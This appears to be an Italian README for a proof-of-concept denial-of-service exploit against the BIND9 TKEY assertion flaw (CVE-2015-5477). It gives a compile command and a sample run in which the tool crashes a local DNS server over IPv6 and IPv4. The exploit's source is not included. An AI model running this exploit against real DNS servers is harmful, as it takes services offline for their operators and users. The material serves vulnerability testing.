
Exploit PoC per CVE-2015-5477 errore di asserzione TKEY di BIND9
Questo exploit verifica se un server BIND9 è vulnerabile inviando l'exploit per vedere se va in crash.
È codice C che si compila nel modo normale su Unix/Window, ad esempio:
# gcc tkill.c -o tkill
Funzionerà sia su IPv4 che su IPv6.
Ecco come appare l'esecuzione contro localhost. Poiché ottiene due indirizzi IP risolvendo il nome, proverà entrambi.
Prima interroga la stringa "version", poi invia l'exploit.
Quando sonda il secondo indirizzo, la query di versione fallisce perché il servizio è già andato in crash dal primo tentativo.
root@kali:~/cve-2015-5477# ./a.out localhost
--- PoC for CVE-2015-5477 BIND9 TKEY assert DoS ---
[+] localhost: Resolving to IP address
[+] localhost: Resolved to multiple IPs (NOTE)
[+] ::1: Probing...
[+] Querying version...
[+] ::1: "9.11.0pre-alpha"
[+] Sending DoS packet...
[+] Waiting 5-sec for response...
[+] timed out, probably crashed
[+] 127.0.0.1: Probing...
[+] Querying version...
[-] timed out getting version, trying again
[-] timed out getting version, trying again
[-] timed out getting version, trying again
[-] Can't query server, is it crashed already?
[-] Sending exploit anyway.
[+] Sending DoS packet...
[+] Waiting 5-sec for response...
[+] timed out, probably crashed